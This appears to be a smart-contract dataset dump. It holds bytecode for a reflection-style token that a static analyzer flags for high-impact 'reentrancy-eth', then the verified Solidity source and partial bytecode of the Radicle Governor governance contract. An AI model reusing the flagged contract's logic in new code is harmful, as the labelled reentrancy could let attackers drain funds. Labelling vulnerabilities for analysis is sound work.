3696044820152627a652160e81b606482015260840161069b565b60006111e7306107ee565b6019546017549192508210159082106112005760175491505b8080156112175750601654600160a81b900460ff16155b801561123157506016546001600160a01b03868116911614155b80156112465750601654600160b01b900460ff165b801561126b57506001600160a01b03851660009081526005602052604090205460ff16155b801561129057506001600160a01b03841660009081526005602052604090205460ff16155b156112b05761129e82611518565b4780156112ae576112ae4761140f565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112f557506001600160a01b03831660009081526005602052604090205460ff165b8061132757506016546001600160a01b0385811691161480159061132757506016546001600160a01b03848116911614155b15611334575060006113c9565b6016546001600160a01b03858116911614801561135f57506015546001600160a01b03848116911614155b1561137157600954600d55600a54600e555b6016546001600160a01b03848116911614801561139c57506015546001600160a01b03858116911614155b156113c95760006113ba600c54600a5461169290919063ffffffff16565b5050600b54600d55600c54600e555b610a92848484846116d4565b600081848411156113f95760405162461bcd60e51b815260040161069b9190611b46565b5060006114068486611f0e565b95945050505050565b6013546001600160a01b03166108fc611429836002611692565b6040518115909202916000818181858888f19350505050158015611451573d6000803e3d6000fd5b506014546001600160a01b03166108fc61146c836002611692565b6040518115909202916000818181858888f1935050505015801561070c573d6000803e3d6000fd5b60006006548211156114fb5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161069b565b6000611505611702565b90506115118382611692565b9392505050565b6016805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061156057611560611e8d565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156115b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115dd9190611f25565b816001815181106115f0576115f0611e8d565b6001600160a01b0392831660209182029290920101526015546116169130911684610ce3565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac9479061164f908590600090869030904290600401611f42565b600060405180830381600087803b15801561166957600080fd5b505af115801561167d573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b600061151183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611725565b806116e1576116e1611753565b6116ec848484611781565b80610a9257610a92600f54600d55601054600e55565b600080600061170f611878565b909250905061171e8282611692565b9250505090565b600081836117465760405162461bcd60e51b815260040161069b9190611b46565b5060006114068486611ed4565b600d541580156117635750600e54155b1561176a57565b600d8054600f55600e805460105560009182905555565b600080600080600080611793876118b6565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117c59087611913565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117f49086611955565b6001600160a01b038916600090815260026020526040902055611816816119b4565b61182084836119fe565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161186591815260200190565b60405180910390a3505050505050505050565b6006546000908190662386f26fc100006118928282611692565b8210156118ad57505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006118d38a600d54600e54611a22565b92509250925060006118e3611702565b905060008060006118f68e878787611a77565b919e509c509a509598509396509194505050505091939550919395565b600061151183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113d5565b6000806119628385611ef6565b9050838110156115115760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161069b565b60006119be611702565b905060006119cc8383611ac7565b306000908152600260205260409020549091506119e99082611955565b30600090815260026020526040902055505050565b600654611a0b9083611913565b600655600754611a1b9082611955565b6007555050565b6000808080611a3c6064611a368989611ac7565b90611692565b90506000611a4f6064611a368a89611ac7565b90506000611a6782611a618b86611913565b90611913565b9992985090965090945050505050565b6000808080611a868886611ac7565b90506000611a948887611ac7565b90506000611aa28888611ac7565b90506000611ab482611a618686611913565b939b939a50919850919650505050505050565b600082611ad6575060006105eb565b6000611ae28385611fb3565b905082611aef8583611ed4565b146115115760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161069b565b600060208083528351808285015260005b81811015611b7357858101830151858201604001528201611b57565b81811115611b85576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146107eb57600080fd5b8035611bbb81611b9b565b919050565b60008060408385031215611bd357600080fd5b8235611bde81611b9b565b946020939093013593505050565b600080600060608486031215611c0157600080fd5b8335611c0c81611b9b565b92506020840135611c1c81611b9b565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611c5657600080fd5b823567ffffffffffffffff80821115611c6e57600080fd5b818501915085601f830112611c8257600080fd5b813581811115611c9457611c94611c2d565b8060051b604051601f19603f83011681018181108582111715611cb957611cb9611c2d565b604052918252848201925083810185019188831115611cd757600080fd5b938501935b82851015611cfc57611ced85611bb0565b84529385019392850192611cdc565b98975050505050505050565b600060208284031215611d1a57600080fd5b813561151181611b9b565b80358015158114611bbb57600080fd5b600060208284031215611d4757600080fd5b61151182611d25565b600060208284031215611d6257600080fd5b5035919050565b600080600060408486031215611d7e57600080fd5b833567ffffffffffffffff80821115611d9657600080fd5b818601915086601f830112611daa57600080fd5b813581811115611db957600080fd5b8760208260051b8501011115611dce57600080fd5b602092830195509350611de49186019050611d25565b90509250925092565b60008060008060808587031215611e0357600080fd5b5050823594602084013594506040840135936060013592509050565b60008060408385031215611e3257600080fd5b8235611e3d81611b9b565b91506020830135611e4d81611b9b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ecd57611ecd611ea3565b5060010190565b600082611ef157634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611f0957611f09611ea3565b500190565b600082821015611f2057611f20611ea3565b500390565b600060208284031215611f3757600080fd5b815161151181611b9b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f925784516001600160a01b031683529383019391830191600101611f6d565b50506001600160a01b03969096166060850152505050608001529392505050565b6000816000190483118215151615611fcd57611fcd611ea3565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ad6a31a05525b7f54b0cc3a1a33d0f26554ae203a6ae9f314e73d13af5e04d2664736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 9,208 |
0x690e775361AD66D1c4A25d89da9fCd639F5198eD
|
/**
*Submitted for verification at Etherscan.io on 2021-02-15
*/
// SPDX-License-Identifier: GPL-3.0-only
// Copyright 2020 Compound Labs, Inc.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are met:
//
// 1. Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
// 2. Redistributions in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
// 3. Neither the name of the copyright holder nor the names of its
// contributors may be used to endorse or promote products derived from this
// software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
pragma solidity ^0.7.5;
pragma experimental ABIEncoderV2;
contract Governor {
/// @notice The name of this contract
string public constant NAME = "Radicle Governor";
/// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed
function quorumVotes() public pure returns (uint256) {
return 4000000e18;
} // 4,000,000 = 4% of Token
/// @notice The number of votes required in order for a voter to become a proposer
function proposalThreshold() public pure returns (uint256) {
return 1000000e18;
} // 1,000,000 = 1% of Token
/// @notice The maximum number of actions that can be included in a proposal
function proposalMaxOperations() public pure returns (uint256) {
return 10;
} // 10 actions
/// @notice The delay before voting on a proposal may take place, once proposed
function votingDelay() public pure returns (uint256) {
return 1;
} // 1 block
/// @notice The duration of voting on a proposal, in blocks
function votingPeriod() public pure returns (uint256) {
return 17280;
} // ~3 days in blocks (assuming 15s blocks)
/// @notice The address of the Radicle Protocol Timelock
TimelockInterface public immutable timelock;
/// @notice The address of the Radicle governance token
TokenInterface public immutable token;
/// @notice The address of the Governor Guardian
address public guardian;
/// @notice The total number of proposals
uint256 public proposalCount;
/// @notice Change proposal
struct Proposal {
// Creator of the proposal
address proposer;
// The timestamp that the proposal will be available for execution, set once the vote succeeds
uint256 eta;
// the ordered list of target addresses for calls to be made
address[] targets;
// The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint256[] values;
// The ordered list of function signatures to be called
string[] signatures;
// The ordered list of calldata to be passed to each call
bytes[] calldatas;
// The block at which voting begins: holders must delegate their votes prior to this block
uint256 startBlock;
// The block at which voting ends: votes must be cast prior to this block
uint256 endBlock;
// Current number of votes in favor of this proposal
uint256 forVotes;
// Current number of votes in opposition to this proposal
uint256 againstVotes;
// Flag marking whether the proposal has been canceled
bool canceled;
// Flag marking whether the proposal has been executed
bool executed;
// Receipts of ballots for the entire set of voters
mapping(address => Receipt) receipts;
}
/// @notice Ballot receipt record for a voter
struct Receipt {
// Whether or not a vote has been cast
bool hasVoted;
// Whether or not the voter supports the proposal
bool support;
// The number of votes the voter had, which were cast
uint96 votes;
}
/// @notice Possible states that a proposal may be in
enum ProposalState {Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed}
/// @notice The official record of all proposals ever proposed
mapping(uint256 => Proposal) public proposals;
/// @notice The latest proposal for each proposer
mapping(address => uint256) public latestProposalIds;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH =
keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
/// @notice An event emitted when a new proposal is created
event ProposalCreated(
uint256 id,
address proposer,
address[] targets,
uint256[] values,
string[] signatures,
bytes[] calldatas,
uint256 startBlock,
uint256 endBlock,
string description
);
/// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint256 proposalId, bool support, uint256 votes);
/// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint256 id);
/// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint256 id, uint256 eta);
/// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint256 id);
constructor(
address timelock_,
address token_,
address guardian_
) {
timelock = TimelockInterface(timelock_);
token = TokenInterface(token_);
guardian = guardian_;
}
function propose(
address[] memory targets,
uint256[] memory values,
string[] memory signatures,
bytes[] memory calldatas,
string memory description
) public returns (uint256) {
require(
token.getPriorVotes(msg.sender, sub256(block.number, 1)) >= proposalThreshold(),
"Governor::propose: proposer votes below proposal threshold"
);
require(
targets.length == values.length &&
targets.length == signatures.length &&
targets.length == calldatas.length,
"Governor::propose: proposal function information arity mismatch"
);
require(targets.length != 0, "Governor::propose: must provide actions");
require(targets.length <= proposalMaxOperations(), "Governor::propose: too many actions");
uint256 latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(
proposersLatestProposalState != ProposalState.Active,
"Governor::propose: one live proposal per proposer, found an already active proposal"
);
require(
proposersLatestProposalState != ProposalState.Pending,
"Governor::propose: one live proposal per proposer, found an already pending proposal"
);
}
uint256 startBlock = add256(block.number, votingDelay());
uint256 endBlock = add256(startBlock, votingPeriod());
proposalCount++;
Proposal storage newProposal = proposals[proposalCount];
uint256 proposalId = proposalCount;
newProposal.proposer = msg.sender;
newProposal.eta = 0;
newProposal.targets = targets;
newProposal.values = values;
newProposal.signatures = signatures;
newProposal.calldatas = calldatas;
newProposal.startBlock = startBlock;
newProposal.endBlock = endBlock;
newProposal.forVotes = 0;
newProposal.againstVotes = 0;
newProposal.canceled = false;
newProposal.executed = false;
latestProposalIds[newProposal.proposer] = proposalId;
emit ProposalCreated(
proposalId,
msg.sender,
targets,
values,
signatures,
calldatas,
startBlock,
endBlock,
description
);
return proposalId;
}
function queue(uint256 proposalId) public {
require(
state(proposalId) == ProposalState.Succeeded,
"Governor::queue: proposal can only be queued if it is succeeded"
);
Proposal storage proposal = proposals[proposalId];
uint256 eta = add256(block.timestamp, timelock.delay());
for (uint256 i = 0; i < proposal.targets.length; i++) {
_queueOrRevert(
proposal.targets[i],
proposal.values[i],
proposal.signatures[i],
proposal.calldatas[i],
eta
);
}
proposal.eta = eta;
emit ProposalQueued(proposalId, eta);
}
function _queueOrRevert(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) internal {
require(
!timelock.queuedTransactions(
keccak256(abi.encode(target, value, signature, data, eta))
),
"Governor::_queueOrRevert: proposal action already queued at eta"
);
timelock.queueTransaction(target, value, signature, data, eta);
}
function execute(uint256 proposalId) public payable {
require(
state(proposalId) == ProposalState.Queued,
"Governor::execute: proposal can only be executed if it is queued"
);
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint256 i = 0; i < proposal.targets.length; i++) {
timelock.executeTransaction{value: proposal.values[i]}(
proposal.targets[i],
proposal.values[i],
proposal.signatures[i],
proposal.calldatas[i],
proposal.eta
);
}
emit ProposalExecuted(proposalId);
}
function cancel(uint256 proposalId) public {
ProposalState _state = state(proposalId);
require(
_state != ProposalState.Executed,
"Governor::cancel: cannot cancel executed proposal"
);
Proposal storage proposal = proposals[proposalId];
require(
msg.sender == guardian ||
// Allows anyone to cancel a proposal if the voting power of the
// proposer dropped below the threshold after the proposal was
// submitted.
token.getPriorVotes(proposal.proposer, sub256(block.number, 1)) <
proposalThreshold(),
"Governor::cancel: cannot cancel unless proposer is below threhsold"
);
proposal.canceled = true;
for (uint256 i = 0; i < proposal.targets.length; i++) {
timelock.cancelTransaction(
proposal.targets[i],
proposal.values[i],
proposal.signatures[i],
proposal.calldatas[i],
proposal.eta
);
}
emit ProposalCanceled(proposalId);
}
function getActions(uint256 proposalId)
public
view
returns (
address[] memory targets,
uint256[] memory values,
string[] memory signatures,
bytes[] memory calldatas
)
{
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getReceipt(uint256 proposalId, address voter) public view returns (Receipt memory) {
return proposals[proposalId].receipts[voter];
}
function state(uint256 proposalId) public view returns (ProposalState) {
require(
proposalCount >= proposalId && proposalId > 0,
"Governor::state: invalid proposal id"
);
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.number <= proposal.startBlock) {
return ProposalState.Pending;
} else if (block.number <= proposal.endBlock) {
return ProposalState.Active;
} else if (
proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()
) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else if (block.timestamp >= add256(proposal.eta, timelock.gracePeriod())) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
function castVote(uint256 proposalId, bool support) public {
return _castVote(msg.sender, proposalId, support);
}
function castVoteBySig(
uint256 proposalId,
bool support,
uint8 v,
bytes32 r,
bytes32 s
) public {
bytes32 domainSeparator =
keccak256(
abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(NAME)), getChainId(), address(this))
);
bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Governor::castVoteBySig: invalid signature");
return _castVote(signatory, proposalId, support);
}
function _castVote(
address voter,
uint256 proposalId,
bool support
) internal {
require(state(proposalId) == ProposalState.Active, "Governor::_castVote: voting is closed");
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[voter];
require(receipt.hasVoted == false, "Governor::_castVote: voter already voted");
uint96 votes = token.getPriorVotes(voter, proposal.startBlock);
if (support) {
proposal.forVotes = add256(proposal.forVotes, votes);
} else {
proposal.againstVotes = add256(proposal.againstVotes, votes);
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = votes;
emit VoteCast(voter, proposalId, support, votes);
}
function __acceptAdmin() public {
require(msg.sender == guardian, "Governor::__acceptAdmin: sender must be gov guardian");
timelock.acceptAdmin();
}
function __abdicate() public {
require(msg.sender == guardian, "Governor::__abdicate: sender must be gov guardian");
guardian = address(0);
}
function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint256 eta) public {
require(
msg.sender == guardian,
"Governor::__queueSetTimelockPendingAdmin: sender must be gov guardian"
);
timelock.queueTransaction(
address(timelock),
0,
"setPendingAdmin(address)",
abi.encode(newPendingAdmin),
eta
);
}
function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint256 eta) public {
require(
msg.sender == guardian,
"Governor::__executeSetTimelockPendingAdmin: sender must be gov guardian"
);
timelock.executeTransaction(
address(timelock),
0,
"setPendingAdmin(address)",
abi.encode(newPendingAdmin),
eta
);
}
function add256(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub256(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "subtraction underflow");
return a - b;
}
function getChainId() internal pure returns (uint256) {
uint256 chainId;
// solhint-disable no-inline-assembly
assembly {
chainId := chainid()
}
return chainId;
}
}
interface TimelockInterface {
function delay() external view returns (uint256);
function gracePeriod() external view returns (uint256);
function acceptAdmin() external;
function queuedTransactions(bytes32 hash) external view returns (bool);
function queueTransaction(
address target,
uint256 value,
string calldata signature,
bytes calldata data,
uint256 eta
) external returns (bytes32);
function cancelTransaction(
address target,
uint256 value,
string calldata signature,
bytes calldata data,
uint256 eta
) external;
function executeTransaction(
address target,
uint256 value,
string calldata signature,
bytes calldata data,
uint256 eta
) external payable returns (bytes memory);
}
interface TokenInterface {
function getPriorVotes(address account, uint256 blockNumber) external view returns (uint96);
}
|
0x60806040526004361061019c5760003560e01c8063760fbc13116100ec578063da35c6641161008a578063deaaa7cc11610064578063deaaa7cc14610460578063e23a9a5214610475578063fc0c546a146104a2578063fe0d94c1146104b75761019c565b8063da35c6641461040b578063da95691a14610420578063ddf0b009146104405761019c565b8063a3f4df7e116100c6578063a3f4df7e146103aa578063b58131b0146103cc578063b9a61961146103e1578063d33219b4146103f65761019c565b8063760fbc13146103605780637bdbe4d014610375578063915006711461038a5761019c565b806324bc1a64116101595780633e4f49e6116101335780633e4f49e6146102d157806340e58ee5146102fe578063452a93201461031e5780634634c61f146103405761019c565b806324bc1a6414610277578063328dd9821461028c5780633932abb1146102bc5761019c565b8063013cf08b146101a157806302a251a3146101de57806315373e3d1461020057806317977c611461022257806320606b701461024257806321f43e4214610257575b600080fd5b3480156101ad57600080fd5b506101c16101bc366004612402565b6104ca565b6040516101d59897969594939291906127cf565b60405180910390f35b3480156101ea57600080fd5b506101f361051d565b6040516101d5919061286c565b34801561020c57600080fd5b5061022061021b366004612445565b610523565b005b34801561022e57600080fd5b506101f361023d36600461224c565b610532565b34801561024e57600080fd5b506101f3610544565b34801561026357600080fd5b50610220610272366004612266565b610568565b34801561028357600080fd5b506101f3610688565b34801561029857600080fd5b506102ac6102a7366004612402565b610697565b6040516101d59493929190612814565b3480156102c857600080fd5b506101f3610926565b3480156102dd57600080fd5b506102f16102ec366004612402565b61092b565b6040516101d591906128cf565b34801561030a57600080fd5b50610220610319366004612402565b610ac2565b34801561032a57600080fd5b50610333610d59565b6040516101d59190612680565b34801561034c57600080fd5b5061022061035b366004612474565b610d68565b34801561036c57600080fd5b50610220610f14565b34801561038157600080fd5b506101f3610f50565b34801561039657600080fd5b506102206103a5366004612266565b610f55565b3480156103b657600080fd5b506103bf611063565b6040516101d591906128e3565b3480156103d857600080fd5b506101f361108f565b3480156103ed57600080fd5b5061022061109d565b34801561040257600080fd5b5061033361113c565b34801561041757600080fd5b506101f3611160565b34801561042c57600080fd5b506101f361043b36600461228f565b611166565b34801561044c57600080fd5b5061022061045b366004612402565b6114dd565b34801561046c57600080fd5b506101f3611768565b34801561048157600080fd5b5061049561049036600461241a565b61178c565b6040516101d59190612ff0565b3480156104ae57600080fd5b506103336117f8565b6102206104c5366004612402565b61181c565b6002602052600090815260409020805460018201546006830154600784015460088501546009860154600a909601546001600160a01b039095169593949293919290919060ff8082169161010090041688565b61438090565b61052e3383836119f9565b5050565b60036020526000908152604090205481565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6000546001600160a01b0316331461059b5760405162461bcd60e51b815260040161059290612bd8565b60405180910390fd5b7f0000000000000000000000008da8f82d2bbdd896822de723f55d6edf416130ba6001600160a01b0316630825f38f7f0000000000000000000000008da8f82d2bbdd896822de723f55d6edf416130ba6000856040516020016105fe9190612680565b604051602081830303815290604052856040518563ffffffff1660e01b815260040161062d94939291906126ad565b600060405180830381600087803b15801561064757600080fd5b505af115801561065b573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610683919081019061238f565b505050565b6a034f086f3b33b68400000090565b6060806060806000600260008781526020019081526020016000209050806002018160030182600401836005018380548060200260200160405190810160405280929190818152602001828054801561071957602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116106fb575b505050505093508280548060200260200160405190810160405280929190818152602001828054801561076b57602002820191906000526020600020905b815481526020019060010190808311610757575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b8282101561083e5760008481526020908190208301805460408051601f600260001961010060018716150201909416939093049283018590048502810185019091528181529283018282801561082a5780601f106107ff5761010080835404028352916020019161082a565b820191906000526020600020905b81548152906001019060200180831161080d57829003601f168201915b505050505081526020019060010190610793565b50505050915080805480602002602001604051908101604052809291908181526020016000905b828210156109105760008481526020908190208301805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156108fc5780601f106108d1576101008083540402835291602001916108fc565b820191906000526020600020905b8154815290600101906020018083116108df57829003601f168201915b505050505081526020019060010190610865565b5050505090509450945094509450509193509193565b600190565b6000816001541015801561093f5750600082115b61095b5760405162461bcd60e51b815260040161059290612c45565b6000828152600260205260409020600a81015460ff1615610980576002915050610abd565b80600601544311610995576000915050610abd565b806007015443116109aa576001915050610abd565b806009015481600801541115806109cb57506109c4610688565b8160080154105b156109da576003915050610abd565b60018101546109ed576004915050610abd565b600a810154610100900460ff1615610a09576007915050610abd565b610aa781600101547f0000000000000000000000008da8f82d2bbdd896822de723f55d6edf416130ba6001600160a01b031663a06db7dc6040518163ffffffff1660e01b815260040160206040518083038186803b158015610a6a57600080fd5b505afa158015610a7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa29190612377565b611be1565b4210610ab7576006915050610abd565b60059150505b919050565b6000610acd8261092b565b90506007816007811115610add57fe5b1415610afb5760405162461bcd60e51b815260040161059290612ac6565b600082815260026020526040812090546001600160a01b0316331480610bdc5750610b2461108f565b81546001600160a01b037f00000000000000000000000031c8eacbffdd875c74b94b077895bd78cf1e64a381169163782d6fe19116610b64436001611c0d565b6040518363ffffffff1660e01b8152600401610b81929190612694565b60206040518083038186803b158015610b9957600080fd5b505afa158015610bad573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bd191906124ca565b6001600160601b0316105b610bf85760405162461bcd60e51b815260040161059290612953565b600a8101805460ff1916600117905560005b6002820154811015610d1c577f0000000000000000000000008da8f82d2bbdd896822de723f55d6edf416130ba6001600160a01b031663591fcdfe836002018381548110610c5457fe5b6000918252602090912001546003850180546001600160a01b039092169185908110610c7c57fe5b9060005260206000200154856004018581548110610c9657fe5b90600052602060002001866005018681548110610caf57fe5b9060005260206000200187600101546040518663ffffffff1660e01b8152600401610cde959493929190612796565b600060405180830381600087803b158015610cf857600080fd5b505af1158015610d0c573d6000803e3d6000fd5b505060019092019150610c0a9050565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c83604051610d4c919061286c565b60405180910390a1505050565b6000546001600160a01b031681565b60408051808201909152601081526f2930b234b1b6329023b7bb32b93737b960811b60209091015260007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8667f0ef1189f3a3c100418fa11764cc0c135bbee8a3d6924320d90747bf7da1360af610ddc611c35565b30604051602001610df09493929190612875565b60405160208183030381529060405280519060200120905060007f8e25870c07e0b0b3884c78da52790939a455c275406c44ae8b434b692fb916ee8787604051602001610e3f93929190612899565b60405160208183030381529060405280519060200120905060008282604051602001610e6c929190612665565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610ea994939291906128b1565b6020604051602081039080840390855afa158015610ecb573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610efe5760405162461bcd60e51b815260040161059290612fa6565b610f09818a8a6119f9565b505050505050505050565b6000546001600160a01b03163314610f3e5760405162461bcd60e51b815260040161059290612d8b565b600080546001600160a01b0319169055565b600a90565b6000546001600160a01b03163314610f7f5760405162461bcd60e51b815260040161059290612a18565b7f0000000000000000000000008da8f82d2bbdd896822de723f55d6edf416130ba6001600160a01b0316633a66f9017f0000000000000000000000008da8f82d2bbdd896822de723f55d6edf416130ba600085604051602001610fe29190612680565b604051602081830303815290604052856040518563ffffffff1660e01b815260040161101194939291906126ad565b602060405180830381600087803b15801561102b57600080fd5b505af115801561103f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106839190612377565b6040518060400160405280601081526020016f2930b234b1b6329023b7bb32b93737b960811b81525081565b69d3c21bcecceda100000090565b6000546001600160a01b031633146110c75760405162461bcd60e51b815260040161059290612e39565b7f0000000000000000000000008da8f82d2bbdd896822de723f55d6edf416130ba6001600160a01b0316630e18b6816040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561112257600080fd5b505af1158015611136573d6000803e3d6000fd5b50505050565b7f0000000000000000000000008da8f82d2bbdd896822de723f55d6edf416130ba81565b60015481565b600061117061108f565b7f00000000000000000000000031c8eacbffdd875c74b94b077895bd78cf1e64a36001600160a01b031663782d6fe1336111ab436001611c0d565b6040518363ffffffff1660e01b81526004016111c8929190612694565b60206040518083038186803b1580156111e057600080fd5b505afa1580156111f4573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061121891906124ca565b6001600160601b0316101561123f5760405162461bcd60e51b8152600401610592906128f6565b84518651148015611251575083518651145b801561125e575082518651145b61127a5760405162461bcd60e51b8152600401610592906129bb565b85516112985760405162461bcd60e51b815260040161059290612b17565b6112a0610f50565b865111156112c05760405162461bcd60e51b815260040161059290612a83565b33600090815260036020526040902054801561133d5760006112e18261092b565b905060018160078111156112f157fe5b141561130f5760405162461bcd60e51b815260040161059290612c89565b600081600781111561131d57fe5b141561133b5760405162461bcd60e51b815260040161059290612b5e565b505b600061134b43610aa2610926565b9050600061135b82610aa261051d565b6001805481018082556000818152600260208181526040832080546001600160a01b03191633178155948501929092558d51949550929391926113a492908501918e0190611dce565b5089516113ba90600384019060208d0190611e33565b5088516113d090600484019060208c0190611e6e565b5087516113e690600584019060208b0190611ec7565b508382600601819055508282600701819055506000826008018190555060008260090181905550600082600a0160006101000a81548160ff021916908315150217905550600082600a0160016101000a81548160ff02191690831515021790555080600360008460000160009054906101000a90046001600160a01b03166001600160a01b03166001600160a01b03168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e081338d8d8d8d8a8a8f6040516114c79998979695949392919061301e565b60405180910390a19a9950505050505050505050565b60046114e88261092b565b60078111156114f357fe5b146115105760405162461bcd60e51b815260040161059290612f49565b60006002600083815260200190815260200160002090506000611586427f0000000000000000000000008da8f82d2bbdd896822de723f55d6edf416130ba6001600160a01b0316636a42b8f86040518163ffffffff1660e01b815260040160206040518083038186803b158015610a6a57600080fd5b905060005b600283015481101561172e576117268360020182815481106115a957fe5b6000918252602090912001546003850180546001600160a01b0390921691849081106115d157fe5b90600052602060002001548560040184815481106115eb57fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156116795780601f1061164e57610100808354040283529160200191611679565b820191906000526020600020905b81548152906001019060200180831161165c57829003601f168201915b505050505086600501858154811061168d57fe5b600091825260209182902001805460408051601f600260001961010060018716150201909416939093049283018590048502810185019091528181529283018282801561171b5780601f106116f05761010080835404028352916020019161171b565b820191906000526020600020905b8154815290600101906020018083116116fe57829003601f168201915b505050505086611c39565b60010161158b565b50600182018190556040517f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda289290610d4c90859084906130b6565b7f8e25870c07e0b0b3884c78da52790939a455c275406c44ae8b434b692fb916ee81565b611794611f20565b5060009182526002602090815260408084206001600160a01b03939093168452600b9092018152918190208151606081018352905460ff80821615158352610100820416151593820193909352620100009092046001600160